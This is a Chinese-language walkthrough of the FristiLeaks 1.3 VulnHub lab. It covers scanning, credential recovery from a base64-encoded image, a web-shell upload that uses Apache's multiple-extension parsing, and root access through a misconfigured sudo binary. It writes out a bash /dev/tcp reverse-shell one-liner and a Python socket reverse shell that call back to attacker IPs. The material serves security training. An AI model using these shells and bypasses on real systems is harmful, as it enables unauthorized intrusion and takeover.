FristiLeaks_1.3靶场

https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova靶机下载

一,网卡配置

1.主机发现

arp-scan -l

端口扫描

nmap 192.168.13.154 -A

发现80端口处于打开状态

访问

二,信息收集

目录扫描

dirb http://192.168.13.154/

没有发现什么可用的信息

访问web服务找找功能点


貌似没有可用功能点,拼接访问robots.txt

发现了三个路径访问发现

这里不是正确的URL,还得继续寻找

最终我们拼接访问首页的FRISTI,发现新页面

.

尝试弱口令爆破和sql注入,都无果

最后F12查看页面源码得到提示

说是对图片进行了base64加密

这是加密的值,我们对其进行解码

base64 -d decode.txt

发现是一个png类型的文件

我们将其输出到png文件中查看

可能是密码

我们再利用源码中的留言者作为用户,尝试登陆

eezeepz
keKkeKKeKKeKkEkkEk

登陆成功
出现了上传文件的功能点

三.getshell

上传一句话木马,失败

这里想起来它的中间件是apache

可以利用apache的解析漏洞,去绕过

在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png

上传成功我们去路径看看

http://192.168.13.154/fristi/uploads/1.php.png

成功解析

用蚁剑连接

成功获取shell

反弹shell

先用kali监听4444端口

nc -lvvp 4444

蚁剑打开虚拟终端 输入

bash -c 'bash -i >& /dev/tcp/192.168.13.143/4444 0>&1'

反弹成功

四,提权

1.sudo提权

.

sudo -l没有权限,查看home下的用户

发现有admin、eezeepz、fristigod三个用户

在eezeepz家目录下找到notes.txt

翻译一下:

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了来自/home/admin/不要忘记为每个二进制文件指定完整路径!

只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次

可以在/tmp/目录下放一个文件名为runthis的脚本文件,反弹shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.121.171",8888));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

我这里使用kali开启远程服务,下载到目标机器上

然后运行这串命令

kali开启8888端口监听,反弹成功

echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis

获取admin用户的交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

看看有啥

有两个txt、两个py脚本,看看里面有啥信息

有两串base64编码值和一个编码脚本

whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
 
cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
 
 
cryptpass.py
import base64,codecs,sys
 
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
 
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

我们对脚本进行反向操作,将加密改为解密

import base64,codecs,sys
 
def decodeString(str):
  rot13string = codecs.decode(str[::-1], 'rot13')
  return base64.b64decode(rot13string)
 
print(decodeString(sys.argv[1]))

将其保存到kali上命名为1.py

运行1.py脚本解密两串base64值

第一串值疑似fristigod用户的密码,我们尝试登陆

sudo -l查看具有sudo权限的程序

发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom

尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

说是该/var/fristigod/.secret_admin_stuff/doCom文件后面得跟着命令

输入个id试试

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

是root权限,那么我们可以获取root的shell

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值